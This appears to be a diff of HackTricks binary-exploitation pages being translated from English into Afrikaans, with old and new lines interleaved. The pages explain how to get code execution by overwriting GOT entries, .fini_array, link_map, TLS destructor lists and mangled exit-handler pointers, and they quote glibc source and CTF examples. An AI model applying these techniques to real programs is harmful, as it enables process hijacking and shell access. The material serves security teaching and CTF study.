Moreover, if `puts` is used with user input, it's possible to overwrite the `strlen` GOT address to point to `system` and pass the string `"/bin/sh"` to get a shell because **`puts` will call `strlen` with the user input**.
Boonop, as `puts` met gebruikersinvoer gebruik word, is dit moontlik om die `strlen` GOT adres te oorskryf om na `system` te wys en die string `"/bin/sh"` deur te gee om 'n shell te verkry omdat **`puts` `strlen` met die gebruikersinvoer sal aanroep**.
## **One Gadget**
## **Een Gadget**
{{#ref}}
../rop-return-oriented-programing/ret2lib/one-gadget.md
{{#endref}}
## **Abusing GOT from Heap**
## **Misbruik van GOT vanaf Heap**
A common way to obtain RCE from a heap vulnerability is to abuse a fastbin so it's possible to add the part of the GOT table into the fast bin, so whenever that chunk is allocated it'll be possible to **overwrite the pointer of a function, usually `free`**.\
Then, pointing `free` to `system` and freeing a chunk where was written `/bin/sh\x00` will execute a shell.
'n Algemene manier om RCE van 'n heap kwesbaarheid te verkry, is om 'n fastbin te misbruik sodat dit moontlik is om die deel van die GOT tabel in die fast bin by te voeg, sodat wanneer daardie stuk toegeken word, dit moontlik sal wees om die **aanwyser van 'n funksie, gewoonlik `free`**, te oorskryf.\
Dan, deur `free` na `system` te wys en 'n stuk waar `/bin/sh\x00` geskryf is, vry te stel, sal dit 'n shell uitvoer.
It's possible to find an [**example here**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/chunk_extend_overlapping/#hitcon-trainging-lab13)**.**
Dit is moontlik om 'n [**voorbeeld hier**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/chunk_extend_overlapping/#hitcon-trainging-lab13)** te vind.**
## **Protections**
## **Beskermings**
The **Full RELRO** protection is meant to protect agains this kind of technique by resolving all the addresses of the functions when the binary is started and making the **GOT table read only** after it:
Die **Volle RELRO** beskerming is bedoel om teen hierdie soort tegniek te beskerm deur al die adresse van die funksies op te los wanneer die binêre begin en die **GOT tabel slegs leesbaar** te maak daarna:
{{#ref}}
../common-binary-protections-and-bypasses/relro.md
{{#endref}}
## References
## Verwysings
- [https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite)
- [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)

View File

@ -5,52 +5,48 @@
## .dtors
> [!CAUTION]
> Nowadays is very **weird to find a binary with a .dtors section!**
> Vandag is dit baie **vreemd om 'n binêre met 'n .dtors afdeling te vind!**
The destructors are functions that are **executed before program finishes** (after the `main` function returns).\
The addresses to these functions are stored inside the **`.dtors`** section of the binary and therefore, if you manage to **write** the **address** to a **shellcode** in **`__DTOR_END__`** , that will be **executed** before the programs ends.
Get the address of this section with:
Die vernietigers is funksies wat **uitgevoer word voordat die program eindig** (nadat die `main` funksie terugkeer).\
Die adresse van hierdie funksies word binne die **`.dtors`** afdeling van die binêre gestoor en daarom, as jy daarin slaag om die **adres** na 'n **shellcode** in **`__DTOR_END__`** te **skryf**, sal dit **uitgevoer** word voordat die programme eindig.
Kry die adres van hierdie afdeling met:
```bash
objdump -s -j .dtors /exec
rabin -s /exec | grep “__DTOR”
```
Usually you will find the **DTOR** markers **between** the values `ffffffff` and `00000000`. So if you just see those values, it means that there **isn't any function registered**. So **overwrite** the **`00000000`** with the **address** to the **shellcode** to execute it.
Gewoonlik sal jy die **DTOR** merkers **tussen** die waardes `ffffffff` en `00000000` vind. So as jy net daardie waardes sien, beteken dit dat daar **geen funksie geregistreer is** nie. So **oorwrite** die **`00000000`** met die **adres** na die **shellcode** om dit uit te voer.
> [!WARNING]
> Ofc, you first need to find a **place to store the shellcode** in order to later call it.
> Natuurlik moet jy eers 'n **plek vind om die shellcode** te stoor om dit later aan te roep.
## **.fini_array**
Essentially this is a structure with **functions that will be called** before the program finishes, like **`.dtors`**. This is interesting if you can call your **shellcode just jumping to an address**, or in cases where you need to go **back to `main`** again to **exploit the vulnerability a second time**.
Essensieel is dit 'n struktuur met **funksies wat geroep sal word** voordat die program klaar is, soos **`.dtors`**. Dit is interessant as jy jou **shellcode kan aanroep deur net na 'n adres te spring**, of in gevalle waar jy weer **terug na `main`** moet gaan om die **kwesbaarheid 'n tweede keer te benut**.
```bash
objdump -s -j .fini_array ./greeting
./greeting: file format elf32-i386
Contents of section .fini_array:
8049934 a0850408
8049934 a0850408
#Put your address in 0x8049934
```
Let daarop dat wanneer 'n funksie van die **`.fini_array`** uitgevoer word, dit na die volgende een beweeg, so dit sal nie verskeie kere uitgevoer word nie (wat ewige lusse voorkom), maar dit sal ook net 1 **uitvoering van die funksie** wat hier geplaas is, gee.
Note that when a function from the **`.fini_array`** is executed it moves to the next one, so it won't be executed several time (preventing eternal loops), but also it'll only give you 1 **execution of the function** placed here.
Let daarop dat inskrywings in **`.fini_array`** in **omgekeerde** volgorde aangeroep word, so jy wil waarskynlik begin skryf vanaf die laaste een.
Note that entries in `.fini_array` are called in **reverse** order, so you probably wants to start writing from the last one.
#### Ewige lus
#### Eternal loop
Om **`.fini_array`** te misbruik om 'n ewige lus te kry, kan jy [**kyk wat hier gedoen is**](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)**:** As jy ten minste 2 inskrywings in **`.fini_array`** het, kan jy:
In order to abuse **`.fini_array`** to get an eternal loop you can [**check what was done here**](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)**:** If you have at least 2 entries in **`.fini_array`**, you can:
- Use your first write to **call the vulnerable arbitrary write function** again
- Then, calculate the return address in the stack stored by **`__libc_csu_fini`** (the function that is calling all the `.fini_array` functions) and put there the **address of `__libc_csu_fini`**
- This will make **`__libc_csu_fini`** call himself again executing the **`.fini_array`** functions again which will call the vulnerable WWW function 2 times: one for **arbitrary write** and another one to overwrite again the **return address of `__libc_csu_fini`** on the stack to call itself again.
- Gebruik jou eerste skrywe om die **kwetsbare arbitrêre skrywe funksie** weer aan te roep
- Dan, bereken die terugkeeradres in die stapel wat gestoor is deur **`__libc_csu_fini`** (die funksie wat al die **`.fini_array`** funksies aanroep) en plaas daar die **adres van `__libc_csu_fini`**
- Dit sal maak dat **`__libc_csu_fini`** homself weer aanroep en die **`.fini_array`** funksies weer uitvoer wat die kwesbare WWW funksie 2 keer sal aanroep: een vir **arbitrêre skrywe** en nog een om weer die **terugkeeradres van `__libc_csu_fini`** op die stapel te oorskryf om homself weer aan te roep.
> [!CAUTION]
> Note that with [**Full RELRO**](../common-binary-protections-and-bypasses/relro.md)**,** the section **`.fini_array`** is made **read-only**.
> In newer versions, even with [**Partial RELRO**] the section **`.fini_array`** is made **read-only** also.
> Let daarop dat met [**Full RELRO**](../common-binary-protections-and-bypasses/relro.md)**,** die afdeling **`.fini_array`** **lees-slegs** gemaak word.
> In nuwer weergawes, selfs met [**Partial RELRO**] word die afdeling **`.fini_array`** ook **lees-slegs** gemaak.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,39 +1,38 @@
# WWW2Exec - atexit(), TLS Storage & Other mangled Pointers
# WWW2Exec - atexit(), TLS Berging & Ander gemanipuleerde Pointers
{{#include ../../banners/hacktricks-training.md}}
## **\_\_atexit Structures**
## **\_\_atexit Strukture**
> [!CAUTION]
> Nowadays is very **weird to exploit this!**
> Vandag is dit baie **vreemd om dit te benut!**
**`atexit()`** is a function to which **other functions are passed as parameters.** These **functions** will be **executed** when executing an **`exit()`** or the **return** of the **main**.\
If you can **modify** the **address** of any of these **functions** to point to a shellcode for example, you will **gain control** of the **process**, but this is currently more complicated.\
Currently the **addresses to the functions** to be executed are **hidden** behind several structures and finally the address to which it points are not the addresses of the functions, but are **encrypted with XOR** and displacements with a **random key**. So currently this attack vector is **not very useful at least on x86** and **x64_86**.\
The **encryption function** is **`PTR_MANGLE`**. **Other architectures** such as m68k, mips32, mips64, aarch64, arm, hppa... **do not implement the encryption** function because it **returns the same** as it received as input. So these architectures would be attackable by this vector.
**`atexit()`** is 'n funksie waaraan **ander funksies as parameters deurgegee word.** Hierdie **funksies** sal **uitgevoer** word wanneer 'n **`exit()`** of die **terugkeer** van die **hoof** uitgevoer word.\
As jy die **adres** van enige van hierdie **funksies** kan **wysig** om na 'n shellcode te verwys, sal jy **beheer** oor die **proses** verkry, maar dit is tans meer ingewikkeld.\
Tans is die **adresse na die funksies** wat uitgevoer moet word **versteek** agter verskeie strukture en uiteindelik is die adres waaraan dit verwys nie die adresse van die funksies nie, maar is **geënkripteer met XOR** en verskuiwings met 'n **ewekansige sleutel**. So tans is hierdie aanvalsvector **nie baie nuttig nie, ten minste op x86** en **x64_86**.\
Die **enkripsiefunksie** is **`PTR_MANGLE`**. **Ander argitekture** soos m68k, mips32, mips64, aarch64, arm, hppa... **implementeer nie die enkripsie** funksie nie omdat dit **diezelfde** teruggee as wat dit as invoer ontvang het. So hierdie argitekture sou deur hierdie vektor aangeval kon word.
You can find an in depth explanation on how this works in [https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html](https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html)
Jy kan 'n diepgaande verduideliking vind oor hoe dit werk in [https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html](https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html)
## link_map
As explained [**in this post**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure), If the program exits using `return` or `exit()` it'll run `__run_exit_handlers()` which will call registered destructors.
Soos verduidelik [**in hierdie pos**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure), As die program verlaat deur `return` of `exit()` sal dit `__run_exit_handlers()` uitvoer wat geregistreerde vernietigers sal aanroep.
> [!CAUTION]
> If the program exits via **`_exit()`** function, it'll call the **`exit` syscall** and the exit handlers will not be executed. So, to confirm `__run_exit_handlers()` is executed you can set a breakpoint on it.
The important code is ([source](https://elixir.bootlin.com/glibc/glibc-2.32/source/elf/dl-fini.c#L131)):
> As die program verlaat via **`_exit()`** funksie, sal dit die **`exit` syscall** aanroep en die uitgangshandelaars sal nie uitgevoer word nie. So, om te bevestig dat `__run_exit_handlers()` uitgevoer word, kan jy 'n breekpunt daarop stel.
Die belangrike kode is ([bron](https://elixir.bootlin.com/glibc/glibc-2.32/source/elf/dl-fini.c#L131)):
```c
ElfW(Dyn) *fini_array = map->l_info[DT_FINI_ARRAY];
if (fini_array != NULL)
{
ElfW(Addr) *array = (ElfW(Addr) *) (map->l_addr + fini_array->d_un.d_ptr);
size_t sz = (map->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr)));
{
ElfW(Addr) *array = (ElfW(Addr) *) (map->l_addr + fini_array->d_un.d_ptr);
size_t sz = (map->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr)));
while (sz-- > 0)
((fini_t) array[sz]) ();
}
[...]
while (sz-- > 0)
((fini_t) array[sz]) ();
}
[...]
@ -41,198 +40,187 @@ if (fini_array != NULL)
// This is the d_un structure
ptype l->l_info[DT_FINI_ARRAY]->d_un
type = union {
Elf64_Xword d_val; // address of function that will be called, we put our onegadget here
Elf64_Addr d_ptr; // offset from l->l_addr of our structure
Elf64_Xword d_val; // address of function that will be called, we put our onegadget here
Elf64_Addr d_ptr; // offset from l->l_addr of our structure
}
```
Let op hoe `map -> l_addr + fini_array -> d_un.d_ptr` gebruik word om die **posisie** van die **array van funksies om aan te roep** te **bereken**.
Note how `map -> l_addr + fini_array -> d_un.d_ptr` is used to **calculate** the position of the **array of functions to call**.
Daar is 'n **paar opsies**:
There are a **couple of options**:
- Overwrite the value of `map->l_addr` to make it point to a **fake `fini_array`** with instructions to execute arbitrary code
- Overwrite `l_info[DT_FINI_ARRAY]` and `l_info[DT_FINI_ARRAYSZ]` entries (which are more or less consecutive in memory) , to make them **points to a forged `Elf64_Dyn`** structure that will make again **`array` points to a memory** zone the attacker controlled.&#x20;
- [**This writeup**](https://github.com/nobodyisnobody/write-ups/tree/main/DanteCTF.2023/pwn/Sentence.To.Hell) overwrites `l_info[DT_FINI_ARRAY]` with the address of a controlled memory in `.bss` containing a fake `fini_array`. This fake array contains **first a** [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) **address** which will be executed and then the **difference** between in the address of this **fake array** and the v**alue of `map->l_addr`** so `*array` will point to the fake array.
- According to main post of this technique and [**this writeup**](https://activities.tjhsst.edu/csc/writeups/angstromctf-2021-wallstreet) ld.so leave a pointer on the stack that points to the binary `link_map` in ld.so. With an arbitrary write it's possible to overwrite it and make it point to a fake `fini_array` controlled by the attacker with the address to a [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) for example.
Following the previous code you can find another interesting section with the code:
- Oorskryf die waarde van `map->l_addr` om dit na 'n **valse `fini_array`** met instruksies om arbitrêre kode uit te voer, te laat wys.
- Oorskryf `l_info[DT_FINI_ARRAY]` en `l_info[DT_FINI_ARRAYSZ]` inskrywings (wat meer of minder aaneengeskakeld in geheue is), om hulle **na 'n vervalste `Elf64_Dyn`** struktuur te laat wys wat weer **`array` na 'n geheue** gebied wat die aanvaller beheer, sal laat wys.&#x20;
- [**Hierdie skrywe**](https://github.com/nobodyisnobody/write-ups/tree/main/DanteCTF.2023/pwn/Sentence.To.Hell) oorskryf `l_info[DT_FINI_ARRAY]` met die adres van 'n beheerde geheue in `.bss` wat 'n valse `fini_array` bevat. Hierdie valse array bevat **eers 'n** [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) **adres** wat uitgevoer sal word en dan die **verskil** tussen die adres van hierdie **valse array** en die **waarde van `map->l_addr`** sodat `*array` na die valse array sal wys.
- Volgens die hoofpos van hierdie tegniek en [**hierdie skrywe**](https://activities.tjhsst.edu/csc/writeups/angstromctf-2021-wallstreet) laat ld.so 'n wysser op die stapel wat na die binêre `link_map` in ld.so wys. Met 'n arbitrêre skrywe is dit moontlik om dit oor te skryf en dit na 'n valse `fini_array` te laat wys wat deur die aanvaller beheer word met die adres na 'n [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) byvoorbeeld.
Volg die vorige kode kan jy 'n ander interessante afdeling met die kode vind:
```c
/* Next try the old-style destructor. */
ElfW(Dyn) *fini = map->l_info[DT_FINI];
if (fini != NULL)
DL_CALL_DT_FINI (map, ((void *) map->l_addr + fini->d_un.d_ptr));
DL_CALL_DT_FINI (map, ((void *) map->l_addr + fini->d_un.d_ptr));
}
```
In hierdie geval sal dit moontlik wees om die waarde van `map->l_info[DT_FINI]` te oorskryf wat na 'n vervalste `ElfW(Dyn)` struktuur wys. Vind [**meer inligting hier**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure).
In this case it would be possible to overwrite the value of `map->l_info[DT_FINI]` pointing to a forged `ElfW(Dyn)` structure. Find [**more information here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure).
## TLS-Storage dtor_list oorskrywing in **`__run_exit_handlers`**
## TLS-Storage dtor_list overwrite in **`__run_exit_handlers`**
As [**explained here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite), if a program exits via `return` or `exit()`, it'll execute **`__run_exit_handlers()`** which will call any destructors function registered.
Code from `_run_exit_handlers()`:
Soos [**hier verduidelik**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite), as 'n program via `return` of `exit()` verlaat, sal dit **`__run_exit_handlers()`** uitvoer wat enige geregistreerde vernietigersfunksies sal aanroep.
Kode van `_run_exit_handlers()`:
```c
/* Call all functions registered with `atexit' and `on_exit',
in the reverse of the order in which they were registered
perform stdio cleanup, and terminate program execution with STATUS. */
in the reverse of the order in which they were registered
perform stdio cleanup, and terminate program execution with STATUS. */
void
attribute_hidden
__run_exit_handlers (int status, struct exit_function_list **listp,
bool run_list_atexit, bool run_dtors)
bool run_list_atexit, bool run_dtors)
{
/* First, call the TLS destructors. */
/* First, call the TLS destructors. */
#ifndef SHARED
if (&__call_tls_dtors != NULL)
if (&__call_tls_dtors != NULL)
#endif
if (run_dtors)
__call_tls_dtors ();
if (run_dtors)
__call_tls_dtors ();
```
Code from **`__call_tls_dtors()`**:
Kode van **`__call_tls_dtors()`**:
```c
typedef void (*dtor_func) (void *);
struct dtor_list //struct added
{
dtor_func func;
void *obj;
struct link_map *map;
struct dtor_list *next;
dtor_func func;
void *obj;
struct link_map *map;
struct dtor_list *next;
};
[...]
/* Call the destructors. This is called either when a thread returns from the
initial function or when the process exits via the exit function. */
initial function or when the process exits via the exit function. */
void
__call_tls_dtors (void)
{
while (tls_dtor_list) // parse the dtor_list chained structures
{
struct dtor_list *cur = tls_dtor_list; // cur point to tls-storage dtor_list
dtor_func func = cur->func;
PTR_DEMANGLE (func); // demangle the function ptr
while (tls_dtor_list) // parse the dtor_list chained structures
{
struct dtor_list *cur = tls_dtor_list; // cur point to tls-storage dtor_list
dtor_func func = cur->func;
PTR_DEMANGLE (func); // demangle the function ptr
tls_dtor_list = tls_dtor_list->next; // next dtor_list structure
func (cur->obj);
[...]
}
tls_dtor_list = tls_dtor_list->next; // next dtor_list structure
func (cur->obj);
[...]
}
}
```
Vir elke geregistreerde funksie in **`tls_dtor_list`**, sal dit die pointer van **`cur->func`** demangle en dit aanroep met die argument **`cur->obj`**.
For each registered function in **`tls_dtor_list`**, it'll demangle the pointer from **`cur->func`** and call it with the argument **`cur->obj`**.
Using the **`tls`** function from this [**fork of GEF**](https://github.com/bata24/gef), it's possible to see that actually the **`dtor_list`** is very **close** to the **stack canary** and **PTR_MANGLE cookie**. So, with an overflow on it's it would be possible to **overwrite** the **cookie** and the **stack canary**.\
Overwriting the PTR_MANGLE cookie, it would be possible to **bypass the `PTR_DEMANLE` function** by setting it to 0x00, will mean that the **`xor`** used to get the real address is just the address configured. Then, by writing on the **`dtor_list`** it's possible **chain several functions** with the function **address** and it's **argument.**
Finally notice that the stored pointer is not only going to be xored with the cookie but also rotated 17 bits:
Deur die **`tls`** funksie van hierdie [**fork van GEF**](https://github.com/bata24/gef) te gebruik, is dit moontlik om te sien dat die **`dtor_list`** eintlik baie **naby** die **stack canary** en **PTR_MANGLE cookie** is. So, met 'n oorgang daarop, sou dit moontlik wees om die **cookie** en die **stack canary** te **oorwrite**.\
Deur die PTR_MANGLE cookie te oorwrite, sou dit moontlik wees om die **`PTR_DEMANLE` funksie** te **omseil** deur dit op 0x00 te stel, wat beteken dat die **`xor`** wat gebruik word om die werklike adres te kry net die adres is wat geconfigureer is. Dan, deur op die **`dtor_list`** te skryf, is dit moontlik om **verskeie funksies** met die funksie **adres** en sy **argument** te **ketting**.
Laastens, let daarop dat die gestoor pointer nie net met die cookie xored gaan word nie, maar ook 17 bits gedraai sal word:
```armasm
0x00007fc390444dd4 <+36>: mov rax,QWORD PTR [rbx] --> mangled ptr
0x00007fc390444dd7 <+39>: ror rax,0x11 --> rotate of 17 bits
0x00007fc390444ddb <+43>: xor rax,QWORD PTR fs:0x30 --> xor with PTR_MANGLE
```
So jy moet dit in ag neem voordat jy 'n nuwe adres byvoeg.
So you need to take this into account before adding a new address.
Vind 'n voorbeeld in die [**oorspronklike pos**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite).
Find an example in the [**original post**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite).
## Ander gemanipuleerde punte in **`__run_exit_handlers`**
## Other mangled pointers in **`__run_exit_handlers`**
This technique is [**explained here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite) and depends again on the program **exiting calling `return` or `exit()`** so **`__run_exit_handlers()`** is called.
Let's check more code of this function:
Hierdie tegniek is [**hier verduidelik**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite) en hang weer af van die program **wat verlaat deur `return` of `exit()` aan te roep** sodat **`__run_exit_handlers()`** aangeroep word.
Kom ons kyk na meer kode van hierdie funksie:
```c
while (true)
{
struct exit_function_list *cur;
while (true)
{
struct exit_function_list *cur;
restart:
cur = *listp;
restart:
cur = *listp;
if (cur == NULL)
{
/* Exit processing complete. We will not allow any more
atexit/on_exit registrations. */
__exit_funcs_done = true;
break;
}
if (cur == NULL)
{
/* Exit processing complete. We will not allow any more
atexit/on_exit registrations. */
__exit_funcs_done = true;
break;
}
while (cur->idx > 0)
{
struct exit_function *const f = &cur->fns[--cur->idx];
const uint64_t new_exitfn_called = __new_exitfn_called;
while (cur->idx > 0)
{
struct exit_function *const f = &cur->fns[--cur->idx];
const uint64_t new_exitfn_called = __new_exitfn_called;
switch (f->flavor)
{
void (*atfct) (void);
void (*onfct) (int status, void *arg);
void (*cxafct) (void *arg, int status);
void *arg;
switch (f->flavor)
{
void (*atfct) (void);
void (*onfct) (int status, void *arg);
void (*cxafct) (void *arg, int status);
void *arg;
case ef_free:
case ef_us:
break;
case ef_on:
onfct = f->func.on.fn;
arg = f->func.on.arg;
PTR_DEMANGLE (onfct);
case ef_free:
case ef_us:
break;
case ef_on:
onfct = f->func.on.fn;
arg = f->func.on.arg;
PTR_DEMANGLE (onfct);
/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
onfct (status, arg);
__libc_lock_lock (__exit_funcs_lock);
break;
case ef_at:
atfct = f->func.at;
PTR_DEMANGLE (atfct);
/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
onfct (status, arg);
__libc_lock_lock (__exit_funcs_lock);
break;
case ef_at:
atfct = f->func.at;
PTR_DEMANGLE (atfct);
/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
atfct ();
__libc_lock_lock (__exit_funcs_lock);
break;
case ef_cxa:
/* To avoid dlclose/exit race calling cxafct twice (BZ 22180),
we must mark this function as ef_free. */
f->flavor = ef_free;
cxafct = f->func.cxa.fn;
arg = f->func.cxa.arg;
PTR_DEMANGLE (cxafct);
/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
atfct ();
__libc_lock_lock (__exit_funcs_lock);
break;
case ef_cxa:
/* To avoid dlclose/exit race calling cxafct twice (BZ 22180),
we must mark this function as ef_free. */
f->flavor = ef_free;
cxafct = f->func.cxa.fn;
arg = f->func.cxa.arg;
PTR_DEMANGLE (cxafct);
/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
cxafct (arg, status);
__libc_lock_lock (__exit_funcs_lock);
break;
}
/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
cxafct (arg, status);
__libc_lock_lock (__exit_funcs_lock);
break;
}
if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called))
/* The last exit function, or another thread, has registered
more exit functions. Start the loop over. */
goto restart;
}
if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called))
/* The last exit function, or another thread, has registered
more exit functions. Start the loop over. */
goto restart;
}
*listp = cur->next;
if (*listp != NULL)
/* Don't free the last element in the chain, this is the statically
allocate element. */
free (cur);
}
*listp = cur->next;
if (*listp != NULL)
/* Don't free the last element in the chain, this is the statically
allocate element. */
free (cur);
}
__libc_lock_unlock (__exit_funcs_lock);
__libc_lock_unlock (__exit_funcs_lock);
```
Die veranderlike `f` verwys na die **`initial`** struktuur en afhangende van die waarde van `f->flavor` sal verskillende funksies aangeroep word.\
Afhangende van die waarde, sal die adres van die funksie om aan te roep in 'n ander plek wees, maar dit sal altyd **demangled** wees.
The variable `f` points to the **`initial`** structure and depending on the value of `f->flavor` different functions will be called.\
Depending on the value, the address of the function to call will be in a different place, but it'll always be **demangled**.
Boonop is dit in die opsies **`ef_on`** en **`ef_cxa`** ook moontlik om 'n **argument** te beheer.
Moreover, in the options **`ef_on`** and **`ef_cxa`** it's also possible to control an **argument**.
Dit is moontlik om die **`initial` struktuur** in 'n foutopsporing sessie met GEF wat **`gef> p initial`** loop, te kontroleer.
It's possible to check the **`initial` structure** in a debugging session with GEF running **`gef> p initial`**.
To abuse this you need either to **leak or erase the `PTR_MANGLE`cookie** and then overwrite a `cxa` entry in initial with `system('/bin/sh')`.\
You can find an example of this in the [**original blog post about the technique**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#6---code-execution-via-other-mangled-pointers-in-initial-structure).
Om dit te misbruik, moet jy of die **`PTR_MANGLE`cookie** **leak of uitvee** en dan 'n `cxa` inskrywing in initial oorskryf met `system('/bin/sh')`.\
Jy kan 'n voorbeeld hiervan vind in die [**oorspronklike blogpos oor die tegniek**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#6---code-execution-via-other-mangled-pointers-in-initial-structure).
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,15 +4,15 @@
## Basic Information
This category includes all vulnerabilities that occur because it is possible to overwrite certain data through errors in the handling of indexes in arrays. It's a very wide category with no specific methodology as the exploitation mechanism relays completely on the conditions of the vulnerability.
Hierdie kategorie sluit alle kwesbaarhede in wat voorkom omdat dit moontlik is om sekere data te oorskryf deur foute in die hantering van indekse in arrays. Dit is 'n baie wye kategorie sonder 'n spesifieke metodologie, aangesien die eksploitasiemechanisme heeltemal op die toestande van die kwesbaarheid staatmaak.
However he you can find some nice **examples**:
Hier kan jy egter 'n paar mooi **voorbeelde** vind:
- [https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html](https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html)
- There are **2 colliding arrays**, one for **addresses** where data is stored and one with the **sizes** of that data. It's possible to overwrite one from the other, enabling to write an arbitrary address indicating it as a size. This allows to write the address of the `free` function in the GOT table and then overwrite it with the address to `system`, and call free from a memory with `/bin/sh`.
- Daar is **2 botsende arrays**, een vir **adresse** waar data gestoor word en een met die **groottes** van daardie data. Dit is moontlik om een van die ander te oorskryf, wat dit moontlik maak om 'n arbitrêre adres aan te dui as 'n grootte. Dit stel jou in staat om die adres van die `free` funksie in die GOT tabel te skryf en dit dan te oorskryf met die adres na `system`, en `free` vanaf 'n geheue met `/bin/sh` aan te roep.
- [https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html](https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html)
- 64 bits, no nx. Overwrite a size to get a kind of buffer overflow where every thing is going to be used a double number and sorted from smallest to biggest so it's needed to create a shellcode that fulfil that requirement, taking into account that the canary shouldn't be moved from it's position and finally overwriting the RIP with an address to ret, that fulfil he previous requirements and putting the biggest address a new address pointing to the start of the stack (leaked by the program) so it's possible to use the ret to jump there.
- 64 bits, geen nx. Oorskry 'n grootte om 'n tipe buffer overflow te kry waar alles as 'n dubbele getal gebruik gaan word en gesorteer word van kleinste na grootste, so dit is nodig om 'n shellcode te skep wat aan daardie vereiste voldoen, met inagneming dat die canary nie van sy posisie verplaas moet word nie en uiteindelik die RIP oorskryf met 'n adres na ret, wat aan die vorige vereistes voldoen en die grootste adres 'n nuwe adres wat na die begin van die stapel wys (geleek deur die program) sodat dit moontlik is om die ret te gebruik om daarheen te spring.
- [https://faraz.faith/2019-10-20-secconctf-2019-sum/](https://faraz.faith/2019-10-20-secconctf-2019-sum/)
- 64bits, no relro, canary, nx, no pie. There is an off-by-one in an array in the stack that allows to control a pointer granting WWW (it write the sum of all the numbers of the array in the overwritten address by the of-by-one in the array). The stack is controlled so the GOT `exit` address is overwritten with `pop rdi; ret`, and in the stack is added the address to `main` (looping back to `main`). The a ROP chain to leak the address of put in the GOT using puts is used (`exit` will be called so it will call `pop rdi; ret` therefore executing this chain in the stack). Finally a new ROP chain executing ret2lib is used.
- 64bits, geen relro, canary, nx, geen pie. Daar is 'n off-by-one in 'n array in die stapel wat dit moontlik maak om 'n pointer te beheer wat WWW toeken. (dit skryf die som van al die getalle van die array in die oorskryfde adres deur die off-by-one in die array). Die stapel is beheer, sodat die GOT `exit` adres oorskryf word met `pop rdi; ret`, en in die stapel word die adres na `main` bygevoeg (wat terugloop na `main`). 'n ROP-ketting om die adres van die put in die GOT te lek met behulp van puts word gebruik (`exit` sal aangeroep word, so dit sal `pop rdi; ret` aanroep, wat dus hierdie ketting in die stapel uitvoer). Laastens word 'n nuwe ROP-ketting wat ret2lib uitvoer, gebruik.
- [https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html](https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html)
- 32 bit, no relro, no canary, nx, pie. Abuse a bad indexing to leak addresses of libc and heap from the stack. Abuse the buffer overflow o do a ret2lib calling `system('/bin/sh')` (the heap address is needed to bypass a check).
- 32 bit, geen relro, geen canary, nx, pie. Misbruik 'n slegte indeksering om adresse van libc en heap vanaf die stapel te lek. Misbruik die buffer overflow om 'n ret2lib aan te roep wat `system('/bin/sh')` aanroep (die heap adres is nodig om 'n kontrole te omseil).

View File

@ -1,111 +1,111 @@
# Basic Binary Exploitation Methodology
# Basiese Binêre Exploitasiemetodologie
{{#include ../../banners/hacktricks-training.md}}
## ELF Basic Info
## ELF Basiese Inligting
Before start exploiting anything it's interesting to understand part of the structure of an **ELF binary**:
Voordat jy begin om enigiets te exploiteer, is dit interessant om 'n deel van die struktuur van 'n **ELF binêre** te verstaan:
{{#ref}}
elf-tricks.md
{{#endref}}
